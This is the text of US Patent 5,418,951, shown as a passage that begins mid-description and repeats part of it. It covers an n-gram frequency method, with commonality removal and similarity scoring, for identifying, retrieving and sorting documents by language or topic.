      consecutive runs of n characters where n is any positive integer greater than zero. Moderately long n-grams (i.e., n>3) are typically more informative than shorter
      n-grams, as they tend to embody information about the roots of words present in the text. The second step is to compare the frequency of occurrence of the n-grams in
      the unidentified text with the frequency of occurrence of these same n-grams in the text of known languages. The unidentified text is then identified as being written in
      the language of the text with which the unidentified text best compares. 
      
      The allowable n-gram characters are defined by the user. For example, the n-gram elements for a particular language may be restricted to the letters of the alphabet for
      languages of interest and a space (i.e., ".sub.-- "). Small letters may be converted to capital letters and multiple spaces can be reduced to a single space in order to
      reduce the total number of possible n-grams. Punctuation may also be ignored in order to minimize memory requirements, and enhance performance. Strings of
      characters may also be eliminated or replaced by a user-defined character or string of characters. 
      
      FIG. 2 outlines an algorithm that is useful for identifying the language, or topic of a document. A simple illustrative example of the major steps involved follows the
      description of the algorithm. 
      
      Known examples of text in different languages and topics are collected as reference documents. There is no restriction on the form that these reference documents may
      take. Sample text from any source can be used. The number of reference documents and n-grams contained in these documents must be statistically significant. It has
      been empirically determined that for language identification, approximately ten documents, each having approximately one-thousand characters, is a statistically
      significant sample size. For topic identification within a particular language, which is a finer distinction than language identification, approximately fifty documents, each
      having approximately one-thousand characters, is a statistically significant sample size. 
      
      The reference documents are parsed into n-grams. This is accomplished by making a separate list, for each reference document, of all the unique n-grams that occur in
      that reference document (where n is typically fixed at some value that is useful, such as n=5). The unidentified document is also parsed into a list of unique n-grams. 
      
      Weights are assigned to each unique n-gram. The weight is determined by the relative frequency of occurrence of that n-gram in that particular reference document
      (i.e., the number of times that an n-gram occurs in a particular reference document divided by the aggregate total of all n-gram occurrences within that reference
      document). Weights are assigned to each n-gram in each reference document and to each n-gram in the unidentified document. 
      
      The commonality among the reference documents is then removed from the reference documents as well as from the unidentified document. This is accomplished by
      first listing the unique n-grams among the reference documents. Second, a commonality weight is assigned to each unique reference document n-gram based on its mean
      relative frequency of occurrence (i.e., the sum of the individual weights for that one n-gram from all the reference documents divided by the total number of reference
      documents). The commonality weight of each n-gram is then subtracted from the weight of its corresponding n-gram within each reference document and from the
      weight of its corresponding n-gram within the unidentified document. 
      
      The unidentified document is then compared to each of the reference documents. This is accomplished by scoring the unidentified document against each of the
      reference documents. The score for the unidentified document with respect to a reference document indicates the degree of similarity between the two documents. 
      
      Scoring the unidentified document entails first, as mentioned above, subtracting the commonality weight derived from the reference documents from its corresponding
      n-gram weight within the unidentified document. If an n-gram appears in the unidentified document but does not appear in the reference documents the commonality
      weight for that n-gram is equal to zero. Each commonality-removed n-gram weight of the unidentified document (denoted Ui) is then multiplied by the
      commonality-removed n-gram weight of its corresponding n-gram in a particular reference document (denoted Ri). These products are then summed (i.e., "summation of
      products"). ##EQU1## 
      
      Each commonality-removed n-gram weight in the reference document is then squared (i.e., Ri**2). These squared terms are then summed. Each commonality-removed
      n-gram weight in the unidentified document is then squared (i.e., Ui**2). These squared terms are also summed. These two sums are then multiplied together to form a
      "product of summations". ##EQU2## 
      
      Finally, the score of the unidentified document with respect to a particular reference document is the "summation of products" divided by the square root of the "product
      of summations". ##EQU3## 
      
      The unidentified document is scored against each of the reference documents. The user can define the score-threshold required for identifying a document as being
      similar to a reference document with respect to language or topic. When a user-defined threshold is used, there is a possibility that an unidentified document may not be
      identified as being similar to any of the reference documents. The user can avoid having to set this threshold by allowing the unidentified document to be identified with
      the reference document that produced the highest score. 
      
      The following examples demonstrate the numerical steps involved with the present invention. These examples are intended to be exemplary of the individual steps of the
      algorithm and should not be viewed as limitations upon the claimed invention. 
      
      FIG. 3 shows a reference document for the Greenlandic language (i.e., "Nanok nunane issigtune"). No preprocessing of the example is necessary. Two-grams will be
      used in this example. In order to reduce the number of possible 2-grams, the small letters will be capitalized and any multiple spaces will be reduced to a single space
      (i.e., ".sub.-- "). The Greenlandic reference document thus becomes "NANOK.sub.-- NUNANE.sub.-- ISSIGTUNE". 
      
      All unique 2-grams for the Greenlandic reference document are shown in FIG. 3. They are NA, AN, NO, OK, K.sub.--, .sub.-- N, NU, UN, NE, E.sub.--, .sub.-- I, IS,
      SS, SI, IG, GT, TU. A weight is assigned to each of these 2-grams. The weight of a 2-gram is determined by dividing the frequency of occurrence of that particular
      2-gram by the total number of (possibly non-unique) 2-grams present in the reference (i.e., the weight of the 2-gram NA is 2/21=0.095). 
      
      FIG. 4 shows a reference document for the Hawaiian language (i.e., "I hele mai nei au e hai"). All reference documents must be parsed using the same n-gram structure
      (e.g., 2-grams in this example). Again, in order to reduce the number of possible 2-grams, the small letters will be capitalized and multiple spaces will be reduced to a
      single space. The Hawaiian reference document thus becomes "I.sub.-- HELE.sub.-- MAI.sub.-- NEI.sub.-- AU.sub.-- E.sub.-- HAI". 
      
      All unique 2-grams for the Hawaiian reference document are shown in FIG. 4. They are I.sub.--, .sub.-- H, HE, EL, LE, E.sub.--, .sub.-- M, MA, AI, .sub.-- N, NE, EI,
      .sub.-- A, AU, U.sub.--, .sub.-- E, HA. A weight is assigned to each 2-gram in the same manner as described for the Greenlandic reference document above (e.g., the
      weight of the 2-gram I.sub.-- is 3/22=0.136). 
      
      There is no requirement that the number of n-grams contained in the reference documents be similar. The algorithm requires no preprocessing of the documents. Even
      capitalization and the reduction of multiple spaces to a single space is not required for proper operation of the present invention. These steps are only taken in order to
      enhance performance and reduce memory requirements. 
      
      The commonality among the reference documents is then removed. This is accomplished by first listing all unique 2-grams within all of the reference documents as
      shown in FIG. 5 (i.e., NA, AN, NO, OK, K.sub.--, .sub.-- N, NU, UN, NE, E.sub.--, .sub.-- I, IS, SS, SI, IG, GT, TU, I.sub.--, .sub.-- H, HE, EL, LE, .sub.-- M, MA,
      AI, EI, .sub.-- A, AU, U.sub.--, .sub.-- E, HA). The commonality weights are then determined for each unique 2-gram by dividing the sum of the weights across all
      references for each 2-gram by the total number of reference documents. For example, the commonality weight for the 2-gram NE is (0.095+0.045)/2=0.070 whereas
      the commonality weight for the 2-gram NA is (0.095+0)/2=0.048. The 2-gram NA has a weight of 0.095 in the Greenlandic reference while it has a weight of 0 in the
      Hawaiian reference because it does not appear in the Hawaiian reference. 
      
      The commonality weight represents the average contribution of a particular 2-gram to each of the reference documents. This commonality is removed from both the
      reference documents and the unidentified document in order to better distinguish one document from another. Commonality is removed from the weight of a 2-gram
      within a document by subtracting the commonality weight from the weight of the corresponding 2-gram in that document. For example, the commonality-removed weight
      of the 2-gram NE in the Greenlandic reference document is 0.095-0.070=0.025. The commonality-removed weight of the 2-gram NE in the Hawaiian reference
      document is 0.045-0.070=-0.025. The step of removing commonality improves performance and simplifies the process of identifying documents. 
      
      FIG. 5 also lists the commonality weight of each unique 2-gram across the reference documents. These commonality weights are then removed from the corresponding
      2-gram weight in each reference document and from the unidentified document. FIG. 6 lists the commonality-removed weights for the unique 2-grams in Greenlandic
      while FIG. 7 lists the commonality-removed weights for the unique 2-grams in Hawaiian. The commonality-removed weights of a particular reference document are
      then used to calculate a similarity score for the reference document with respect to an unidentified document. 
      
      FIG. 8 shows an example of text written in an unidentified language (i.e., "Martsime nanut"). The unidentified text must be parsed into the same n-gram structure as the
      reference documents (i.e., 2-grams). Once again, in order to reduce the number of possible 2-grams, the small letters will be capitalized and multiple spaces will be
      reduced to a single space. The unidentified document thus becomes "MARTSIME.sub.-- NANUT". 
      
      The total number of unique 2-grams in the unidentified document, as listed in FIG. 8 are MA, AR, RT, TS, SI, IM, ME, E.sub.--, .sub.-- N, NA, AN, NU, UT. A weight
      is assigned to each 2-gram. Once again, the weight of a 2-gram is determined by dividing the frequency of occurrence of that 2-gram by the total number of 2-grams
      present in the unidentified text (e.g., the weight of MA in the unidentified text is 1/13=0.077). The commonality weights of the reference documents are then subtracted
      from the corresponding 2-grams in the unidentified documents (see FIG. 8). 
      
      In FIG. 9, a similarity score is calculated for the unidentified text with respect to the Greenlandic reference document. The equation for this calculation is as follows:
      ##EQU4## where Ui represents the commonality-removed weight of a 2-gram within the unidentified text and Ri represents the commonality-removed weight of the
      corresponding 2-gram within the Greenlandic reference document which is being compared against the unidentified document. 
      
      Each commonality-removed weight of the 2-grams in the unidentified text is multiplied by its corresponding commonality-removed weight in the Greenlandic reference
      document. Each commonality-removed n-gram weight in the Greenlandic reference document is then squared. These squared terms are then summed. Each
      commonality-removed n-gram weight in the unidentified document is then squared. These squared terms are then summed. These sums are multiplied together to form a
      "product of summations". 
      
      Finally, the score of the unidentified document with respect to the Greenlandic reference document is the "summation of products" divided by the square root of the
      "product of summations". The result as seen in FIG. 9 is a score that indicates the similarity between the unidentified text and the Greenlandic reference document. 
      
      A similarity score is generated for each reference document. The document can either be identified as being similar to the reference document that generated the
      highest score or similar to the reference document that generated a score that exceeds a user-defined threshold. In the latter approach, an identification is not forced
      (i.e., the unidentified document may not be identified as being similar to one of the reference documents). Also, with the latter approach, the unidentified document may
      be identified as being similar to a number of reference documents if these reference documents generate a score that exceeds the user-defined threshold. 
      
      Certain text strings in a particular language, such as "is", "the", "and", "with", "for" etc. in English, useful for language identification, are normally useless for topic
      identification. The present invention solves the problem of finding distinctions among documents with respect to topic by removing the commonality among documents. 
      
      Removing commonality among documents entails calculating the average for each n-gram frequency of occurrence within all of the documents and then subtracting
      these averages from each corresponding n-gram frequency of occurrence within each document. The removal of commonality makes the job of determining if a
      document is similar to another document simpler. Sensitivity to topic is achieved with no human intervention, irrespective of the language of the document. The user can
      again set the threshold for determining when documents are similar to each other with respect to topic. 
      
      This algorithm works equally well in any language but topic identification only works when comparing documents that are written in a common language (or several
      closely related languages). This is because the topic is related to the pattern created by the n-grams. The pattern created by the n-grams is controlled by the language of
      the document. 
      
      Topic identification can be done as easily in languages that have relatively few letters, such as English, as in languages that have many characters, such as ideographic
      languages (e.g., Japanese). While not wishing to be bound by theory, it is believed that the advantageous results of the present invention are obtained because the topic
      of a document constrains the n-grams used to discuss the topic. Topic identification then becomes a determination of how similar the documents are with respect to the
      n-grams used. 
      
      FIG. 10 outlines the algorithm that is used to retrieve documents from a database. The documents can be retrieved with respect to a desired language or topic. 
      
      A database typically contains numerous documents concerning many topics that are written in different languages. There is no requirement that these documents be in
      any particular form. An n-gram array is created for each database document. This is accomplished by making a list, for each database document, of the unique n-grams
      that occur in that document. Weights are assigned to each unique n-gram. The weight is determined by the frequency of occurrence of an n-gram in a particular
      document (i.e., the number of times that an n-gram occurs in a particular document divided by the aggregate total of all n-gram occurrences within that document).
      Weights are then assigned to each n-gram in each database document. 
      
      The commonality among the database documents is then removed from the database documents and the query. This is accomplished by first listing all the unique
      n-grams within all of the documents. Second, a commonality weight is assigned to each unique n-gram based on its mean relative frequency of occurrence. The
      commonality weight for each n-gram is then subtracted from the weight of its corresponding n-gram within each database document and from the weight of its
      corresponding n-gram within the query. 
      
      The query is submitted by the user. The query represents the type of document that the user wishes to retrieve from the database (i.e., documents with a similar topic or
      language). There is no requirement on the form that the query must take. 
      
      Note that a query concerning a topic of interest will result in documents retrieved on that topic that are written in the language of the query. Documents on that topic that
      are written in a language that is different from the query will normally not be retrieved. This is because different languages typically use different n-grams to represent
      the same topic. 
      
      The query is then parsed into n-grams. This is accomplished by making a list of all the unique n-grams that occur in the query. Weights are assigned to each unique
      n-gram within the query. The weight is determined by the frequency of occurrence of that n-gram within the query. The commonality weights are then subtracted from
      the corresponding 2-grams within the query. The query is then compared to each of the database documents by scoring the query against each of the database
      documents. 
      
      The score is obtained by first multiplying each commonality-removed n-gram weight of the query (e.g., Qi) by the commonality-removed weight of its corresponding
      n-gram in a particular database document (e.g., Di). These products are then summed (i.e., "summation of products"). ##EQU5## 
      
      Each n-gram in the database document is then squared (e.g., Di**2). These squared terms are then summed. Each n-gram in the query is then squared (e.g., Qi**2).
      These squared terms are then summed. These sums are then multiplied together to form a "product of summations". ##EQU6## 
      
      Finally, the score of the database document with respect to the query is the "summation of products" divided by the square root of the "product of the summations".
      ##EQU7## 
      
      A score is generated for each database document with respect to the query. The user defines the threshold score that is used to determine whether a database
      document is similar to the query with respect to language or topic. 
      
      The examples given above concerning the steps involved in language identification are applicable for describing the steps involved in this algorithm for retrieving
      documents from a database. 
      
      N-grams can also be used for solving the problems associated with sorting database documents into categories containing like documents. The algorithm of the present
      invention does not require any guidance from the user or any preprocessing of the database beyond that described above. The database can be sorted into categories of
      language or topic. Documents can easily be cross-referenced into different categories (i.e., one document may be sorted into a particular language category as well as a
      particular topic category). 
      
      FIG. 11 outlines the algorithm that is used to sort database documents into categories. The documents can be sorted with respect to a language or topic. A database
      typically contains numerous documents. These documents may deal with different topics and may be written in different languages. There is no requirement that these
      documents be in any particular form. 
      
      An n-gram array is created for each database document. This is accomplished by making a separate list, for each database document, of the unique n-grams that occur
      in that document. Weights are assigned to each unique n-gram. The weight is determined by the frequency of occurrence of that n-gram in that particular document.
      Weights are then assigned to each n-gram in each database document. 
      
      The commonality among the database documents is then removed from each database document. This is accomplished by first listing the unique n-grams that occur in
      the documents (i.e., temporarily thinking of the separate database documents as one large document, then listing the unique n-grams that occur in this one document).
      Second, a commonality weight is assigned to each n-gram based on the frequency of occurrence (i.e., the total number of occurrences in all of the database documents
      of that particular n-gram divided by the total number of unique n-grams within all of the database documents). Each commonality weight is divided by the total number of
      database documents. The commonality weight of each n-gram is then subtracted from the weight of its corresponding n-gram within each database document. 
      
      Each database document is then compared to each of the other database documents. This is accomplished by scoring each database document against each of the other
      database documents. The score consists of first multiplying each commonality-removed n-gram weight from a database document (e.g., Dli) by its corresponding
      commonality-removed n-gram weight from the database document that is being compared (e.g., D2i). These products are then summed to form a "summation of
      products". ##EQU8## 
      
      Each commonality-removed n-gram weight in the first database document is then squared (e.g., Dli**2). These squared terms are summed. Each commonality-removed
      n-gram weight in the second database document, which is being compared to the first database document, is then squared (e.g., D2i**2). These squared terms are
      summed. These sums are then multiplied together to form a "product of summations". ##EQU9## 
      
      Finally, the score of the first database document with respect to the second database document is the "summation of products" divided by the square root of the "product
      of summations". ##EQU10## 
      
      A score is generated for each database document with respect to each of the other database documents. The user defines the threshold that the score must attain in
      order for two documents being compared to be declared similar. Similar documents are then sorted into like categories with respect to language or topic. 
      
      The examples given above concerning the steps involved in language identification are applicable for describing the steps involved in this algorithm for sorting database
      documents. 
      
      Present research activities in text processing have focused on content-based (i.e., linguistic) analysis. The present invention has focused solely on a pattern recognition
      (i.e., non-linguistic) analysis. The present invention does not require any additional information pertaining to syntax, semantics or grammar. The benefits of applying
      n-gram analysis to topic identification have not been fully appreciated until now. 
      
      The topic identification method of the present invention operates in any language with equal ease (but in only one language at a time). It can be initiated by a non-reader
      of the text language and requires no special training. The method is robust in the presence of garbled text (i.e., text that contains errors). The user sets the threshold for
      determining if documents are similar. Uninformative commonality is automatically removed from the documents. 
      
      Changes and modifications in the specifically described embodiments, especially in the programming language used to implement this invention and the specific formula
      for the similarity score derived from the n-gram weights, can be carried out without departing from the scope of the invention which is intended to be limited only by the
      scope of the appended claims. 
      
                                                                 * * * * *
      
                                                                         
                                                                     
                                                                      
                                                  
       United States Patent 
                                                                                                                         5,418,951 
       Damashek 
                                                                                                                      May 23, 1995 
      
      
      Method of retrieving documents that concern the same topic 
      
                                                                 Abstract
      
      A method of identifying, retrieving, or sorting documents by language or topic involving the steps of creating an n-gram array for each document in a database, parsing
      an unidentified document or query into n-grams, assigning a weight to each n-gram, removing the commonality from the n-grams, comparing each unidentified document
      or query to each database document, scoring the unidentified document or query against each database document for similarity, and based on the similarity score,
      identifying retrieving, or sorting the document or query with-respect to language or topic. 
      
      
       Inventors: 
                    Damashek; Marc (Hampstead, MD) 
       Assignee: 
                    The United States of America as represented by the Director of National (Washington, DC) 
       Appl. No.: 
                    316495
       Filed: 
                    September 30, 1994
      
      
       U.S. Class:
                                                                                                         395/600; 364/DIG.1; 364/DIG.2 
       Intern'l Class: 
                                                                                                                        G06F 007/00
       Field of Search: 
                                                                                                             395/600 364/DIG. 1,DIG. 2 
      
      
                                                      References Cited [Referenced By]
      
                                                           U.S. Patent Documents
       4754489
                                      Aug., 1988
                                                                    Bokser
                                                                                                                           382/40. 
       5031206
                                      Jul., 1991
                                                                    Riskin
                                                                                                                           379/97. 
       5062143
                                      Oct., 1991
                                                                    Schmitt
                                                                                                                           382/36. 
       5150425
                                      Sep., 1992
                                                                    Martin et al.
                                                                                                                           382/14. 
       5182708
                                      Jan., 1993
                                                                    Ejiri
                                                                                                                           364/419. 
       5251131
                                      Oct., 1993
                                                                    Massand et al.
                                                                                                                           364/419. 
       5276741
                                      Jan., 1994
                                                                    Aragon
                                                                                                                           382/40. 
       5293466
                                      Mar., 1994
                                                                    Bringmann
                                                                                                                           395/114. 
      
      
      Primary Examiner: Black; Thomas G. 
      Assistant Examiner: Homere; Jean R. 
      Attorney, Agent or Firm: Maser; Thomas O. Morelli; Robert D. 
      
                                                             Parent Case Text
      
      
      
      This Application is a Continuation of U.S. patent application Ser. No. 07/932,522, filed Aug. 20, 1992, which is now abandoned. 
      
                                                                 Claims
      
      
      
      1. A method of retrieving at least one document that concerns the same topic as a sample of text by comparing the at least one document to the sample of text,
      comprising the steps of: 
      
      a) constructing a first list of unique character groupings that occur in one of the at least one document for each of the at least one document; 
      
      b) constructing a second list of unique character groupings that occur in the sample of text; 
      
      c) assigning a first numerical value to each unique character grouping on each first list, where the first numerical value assigned to one of the unique character groupings
      is equal to the number of occurrences of the unique character grouping within the document divided by the total number of character groupings within the document; 
      
      d) assigning a second numerical value to each unique character grouping on the second list, where the second numerical value assigned to one of the unique character
      groupings is equal to the number of occurrences of the unique character grouping within the sample of text divided by the total number of character groupings within the
      sample of text; 
      
      e) constructing a third list of unique character groupings that occur in the at least one document and the sample of text; 
      
      f) assigning a third numerical value to each unique character grouping on the third list, where the third numerical value assigned to one of the unique character groupings
      is equal to the sum of the first numerical values of the unique character grouping from all of the first lists divided by the total number of first lists; 
      
      g) replacing each first numerical value on each first list with a corresponding fourth numerical value, where the fourth numerical value for one of the unique character
      groupings is equal to the first numerical value of the unique character grouping minus the corresponding third numerical value for the unique character grouping; 
      
      h) replacing each second numerical value on the second list with a corresponding fifth numerical value, where the fifth numerical value for one of the unique character
      groupings is equal to the second numerical value of the unique character grouping minus the corresponding third numerical value for the unique character grouping; 
      
      i) calculating a score for each at least one document with respect to the sample text, where said score is the summation of the products of the fifth numerical values
      times the corresponding fourth numerical values divided by the square root of the products of the summation of the squares of the fifth numerical values times the
      summation of the squares of the corresponding fourth numerical values; and 
      
      j) retrieving the documents from the at least one document that obtained a calculated score in the previous step that is above a user-definable score, where each
      retrieved document is deemed to concern the same topic as the sample of text. 
      
      2. The method of claim 1, wherein said step of constructing a first list of unique character groupings comprises constructing a first list of unique character groupings
      where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive character
      grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 
      
      3. The method of claim 1, wherein said step of constructing a second list of unique character groupings comprises constructing a second list of unique character
      groupings where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive
      character grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 
      
      4. The method of claim 1, further comprising the step of replacing the small letters in the sample text and the at least one document with corresponding capital letters. 
      
      5. The method of claim 1, further comprising the step of discarding the punctuation marks in the sample text and the at least one document. 
      
      6. The method of claim 1, further comprising the step of removing multiple spaces in the sample text and the at least one document. 
      
      7. The method of claim 2, wherein said step of constructing a second list of unique character groupings comprises constructing a second list of unique character
      groupings where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive
      character grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 
      
      8. The method of claim 7, further comprising the step of replacing the small letters in the sample text and the at least one document with corresponding capital letters. 
      
      9. The method of claim 8, further comprising the step of discarding the punctuation marks in the sample text and the at least one document. 
      
      10. The method of claim 9, further comprising the step of removing multiple spaces in the sample text and the at least one document. 
      
                                                                Description
      
      
      
      BACKGROUND OF THE INVENTION 
      
      1. Field of the Invention 
      
      This invention relates to a document retrieval method, and more particularly to a document retrieval method capable of full text searching without the need for keyword
      or context-based information. This method can be used to identify, retrieve, and sort documents by topic or language. This method is also useful for identifying, retrieving,
      and sorting any form of communication such as acoustic signals (e.g., speech) and graphic symbols (e.g., pictures) that can be represented in machine readable format. 
      
      2. Description of Related Art 
      
      In "DARPA Eyes Smart Text Sifters", a published article by R. Colin Johnson in Electronic Engineering Times, Feb. 17, 1992, pp. 35 it was indicated that extensive
      research efforts have been expended to find better ways of searching textual databases in order to retrieve documents of concern to the user. It was indicated that
      several fundamental problems stand in the way of realizing any meaningful breakthroughs. 
      
      One technique to improve searches has been to create specialized hardware that can process information faster. The problem with this approach is that the
      improvements in processing speed have not kept pace with the rate at which database information has expanded. It was mentioned that a fundamental theoretical
      breakthrough was required to improve the way information is retrieved from large databases. 
      
      Conventional information retrieval systems are still based on using keywords or phrases with operators (e.g., and, or, not) to identify documents of interest. The problem
      with this technique is that documents may contain a synonym of the keyword rather than the keyword itself (e.g., car vs. automobile), or an inflected form of the
      keyword (e.g., retrieving vs. retrieve). Such systems are typically sensitive to spelling or data-transmission errors at the input. The operators may also be difficult to use.
      Additional problems include identifying appropriate keywords, identifying appropriate synonyms, and retrieving either insufficient, voluminous and/or extraneous
      documents. Typically an extensive table of synonyms is used to mitigate these problems. But this method increases memory requirements and slows processing time. 
      
      Another problem with keyword searches is that the meaning of the keyword usually depends on the context in which it is used. Therefore without some indication of the
      desired context of the keyword, the chances of retrieving unwanted documents are great. Prior approaches to document retrieval have attempted to overcome this
      problem by adding contextual information to the search using techniques such as context vectors, conceptual graphs, semantic networks, and inference networks. These
      techniques also increase memory requirements and slow processing time. Adding context information is also a task requiring significant time of a trained individual. 
      
      In "Global Text Matching for Information Retrieval", a published article by G. Salton and C. Bucklay in Science, Vol. 253, Aug. 30, 1991, pp. 1012-1015, it has been
      indicated that text analysis using synonyms is cumbersome and that text analysis using a knowledge-based approach is complex. This same article indicates that text
      understanding must be based on context and the recognition of text portions (i.e., sections of text, paragraphs or sentences). 
      
      In "Developments in Automatic Text Retrieval", a published article by G. Salton in Science, Vol. 253, Aug. 30, 1991, pp. 974-980, the present state of document retrieval
      is summarized. It indicates that text analysis is a problem because there is a need to retrieve only documents of interest from large databases. The typical solution to this
      problem has been to generate content identifiers. This has been done because the meaning of a word cannot adequately be determined by consulting a dictionary without
      accounting for the context in which the word is used. It was indicated that the words in the text can also be used for context identification. Such retrieval systems are
      defined as full text retrieval systems. 
      
      In "N-gram Statistics for Natural Language Understanding and Text Processing", a published article by C. Suen in IEEE Transactions On Pattern Analysis and Machine
      Intelligence, Vol. PAMI-1, No. 2, April 1979, two methods of processing natural language were described, one using keywords and a dictionary and one using n-grams.
      In the keyword approach, words are compared. In the n-gram approach, strings of letters are compared. Comparing strings of letters is faster and requires less memory
      than a keyword and dictionary method. 
      
      In U.S. Pat. No. 5,020,019, entitled "Document Retrieval System", a system is described that searches documents using keywords with a learning feature that allows the
      user to assign weight to the different keywords in response to the result of a previous search. The present invention does not use a keyword approach. 
      
      In U.S. Pat. No. 4,985,863, entitled "Document Storage and Retrieval", a method is described where documents are stored in sections. Sections of text, rather than
      keywords, are then used to retrieve similar documents. The present invention does not a keyword or sectioning approach. 
      
      In U.S. Pat. No. 4,849,898, entitled "Method and Apparatus to Identify the Relation of Meanings Between Words in Text Expressions", a method is described that uses
      a letter-semantic analysis of keywords and words from a document in order to determine whether these words mean the same thing. This method is used to retrieve
      documents or portions of documents that deal with the same topic as the keywords. The present invention does not use semantic analysis. 
      
      In U.S. Pat. No. 4,823,306, entitled "Text Search System", a method is described that generates synonyms of keywords. Different values are then assigned to each
      synonym in order to guide the search. The present invention does not generate synonyms. 
      
      In U.S. Pat. No. 4,775,956, entitled "Method and System for Information Storing and Retrieval Using Word Stems and Derivative Pattern Codes Representing Families
      of Affixes", a method is described that uses a general set of affixes that are used to modify each keyword stem. This method reduces memory requirements that would
      otherwise be needed to store the synonyms of each keyword. The present invention does not modify keyword stems. 
      
      In U.S. Pat. No. 4,358,824, entitled "Office Correspondence Storage and Retrieval System", a method is described that reduces documents to abstracts by recording the
      keywords used in each document. Keywords are then used to search for the documents of interest. The present invention does not replace the text of stored documents
      with keyword abstracts. 
      
      SUMMARY OF THE INVENTION 
      
      It is an object of this invention to provide a method of identifying the language that a given document is written in. 
      
      It is another object of this invention to provide a method of retrieving documents, in a particular language, from a database by topic. 
      
      It is another object of this invention to provide a method of sorting documents in a database by language. 
      
      It is another object of this invention to provide a method of sorting documents in a database by topic. 
      
      These objects are achieved by a new approach to document identification, retrieval, and sorting. The term documents refers to machine readable text, speech or
      graphics. The present invention uses a pattern recognition technique based on n-gram comparisons among documents instead of the traditional keyword or context-based
      approach. The removal of commonality among database documents provides sensitive discrimination among documents while allowing for a reduction in memory
      requirements (as compared with keyword and dictionary methods) and an increase in performance. The user can set the threshold used to determining whether
      documents are similar. 
      
      BRIEF DESCRIPTION OF THE DRAWINGS 
      
      FIG. 1 is a flow chart of the language identification algorithm; 
      
      FIG. 2 is a flow chart of the identification algorithm for language and topic; 
      
      FIG. 3 is a sample reference document for the Greenlandic language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, and the weight of
      each 2-gram; 
      
      FIG. 4 is a sample reference document for the Hawaiian language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, and the weight of each
      2-gram; 
      
      FIG. 5 is a list of all the unique 2-grams from the reference documents of FIG. 3 and FIG. 4, the weight for each 2-gram, and the commonality weight that each 2-gram
      exhibits within the reference documents; 
      
      FIG. 6 is a list of the commonality-removed weights for each unique 2-gram within the Greenlandic reference document; 
      
      FIG. 7 is a list of the commonality-removed weights for each unique 2-gram within the Hawaiian reference document; 
      
      FIG. 8 is a sample of an unidentified language showing all the unique 2-grams, the frequency of occurrence of each 2-gram, the weight of each 2-gram, and the
      commonality-removed weight of each 2-gram; 
      
      FIG. 9 shows the score of the unidentified text of FIG. 8 with respect to the Greenlandic reference document of FIG. 3; 
      
      FIG. 10 is a flow chart of the retrieval algorithm by language, and topic; and 
      
      FIG. 11 is a flow chart of the database sorting algorithm by language, and topic. 
      
      DESCRIPTION OF PREFERRED EMBODIMENTS 
      
      The present invention describes a method for identifying, searching, and sorting documents. This method yields a sensitive, fast, and economical method for language
      identification, topic identification, document retrieval and document sorting. Throughout this specification and the accompanying claims, the term document will be used
      to refer to a set of information in machine readable format. The document may consists of text, speech or graphics. 
      
      The method of the present invention can be easily implemented in any programming language or in hardware to perform such difficult tasks as identifying topics of
      documents, even if these documents are written in ideographic languages such as Japanese. This method can also be used to sort documents in a database into like
      categories without the need for prior identification of the categories or the documents contained therein. 
      
      Instead of relying on keywords, synonym tables, or contextual information, the objects of the present invention are accomplished by a pattern recognition technique. The
      present invention is based upon the hypothesis that documents that are similar in language and/or topic look alike, in that they tend to contain many of the same n-grams
      (i.e., consecutive runs of n characters). They look alike not just in keywords but in all words used. This hypothesis suggests the rather startling conclusion that the topic
      of a document can reliably be deduced by enumerating the n-grams contained therein and comparing the result of that operation with the enumerated n-grams found in
      another ("reference") document. 
      
      This realization allows for simplifications in the search algorithm used to identify related documents. These simplifications result in the ability to classify documents
      regardless of the language in which they are written. A high error ("garble") rate in the original text is also tolerated. The maximum tolerable error rate for dissimilar
      languages is higher than the maximum tolerable error rate for similar languages. For example, the maximum tolerable error rate for Swahili text when compared against
      Swedish text may be as high as 25% without causing erroneous results whereas the maximum tolerable error rate for Russian text when compared against Czech text
      may only be as high as 15% without causing erroneous results. 
      
      FIG. 1 outlines a language identification algorithm. The first step consists of parsing text, which is written in an unidentified language, into n-grams. N-grams are
      consecutive runs of n characters where n is any positive integer greater than zero. Moderately long n-grams (i.e., n>3) are typically more informative than shorter
      n-grams, as they tend to embody information about the roots of words present in the text. The second step is to compare the frequency of occurrence of the n-grams in
      the unidentified text with the frequency of occurrence of these same n-grams in the text of known languages. The unidentified text is then identified as being written in
      the language of the text with which the unidentified text best compares. 
      
      The allowable n-gram characters are defined by the user. For example, the n-gram elements for a particular language may be restricted to the letters of the alphabet for
      languages of interest and a space (i.e., ".sub.-- "). Small letters may be converted to capital letters and multiple spaces can be reduced to a single space in order to
      reduce the total number of possible n-grams. Punctuation may also be ignored in order to minimize memory requirements, and enhance performance. Strings of
      characters may also be eliminated or replaced by a user-defined character or string of characters. 
      
      FIG. 2 outlines an algorithm that is useful for identifying the language, or topic of a document. A simple illustrative example of the major steps involved follows the
      description of the algorithm. 
      
      Known examples of text in different languages and topics are collected as reference documents. There is no restriction on the form that these reference documents may
      take. Sample text from any source can be used. The number of reference documents and n-grams contained in these documents must be statistically significant. It has
      been empirically determined that for language identification, approximately ten documents, each having approximately one-thousand characters, is a statistically
      significant sample size. For topic identification within a particular language, which is a finer distinction than language identification, approximately fifty documents, each
      having approximately one-thousand characters, is a statistically significant sample size. 
      
      The reference documents are parsed into n-grams. This is accomplished by making a separate list, for each reference document, of all the unique n-grams that occur in
      that reference document (where n is typically fixed at some value that is useful, such as n=5). The unidentified document is also parsed into a list of unique n-grams. 
      
      Weights are assigned to each unique n-gram. The weight is determined by the relative frequency of occurrence of that n-gram in that particular reference document
      (i.e., the number of times that an n-gram occurs in a particular reference document divided by the aggregate total of all n-gram occurrences within that reference
      document). Weights are assigned to each n-gram in each reference document and to each n-gram in the unidentified document. 
      
      The commonality among the reference documents is then removed from the reference documents as well as from the unidentified document. This is accomplished by
      first listing the unique n-grams among the reference documents. Second, a commonality weight is assigned to each unique reference document n-gram based on its mean
      relative frequency of occurrence (i.e., the sum of the individual weights for that one n-gram from all the reference documents divided by the total number of reference
      documents). The commonality weight of each n-gram is then subtracted from the weight of its corresponding n-gram within each reference document and from the
      weight of its corresponding n-gram within the unidentified document. 
      
      The unidentified document is then compared to each of the reference documents. This is accomplished by scoring the unidentified document against each of the
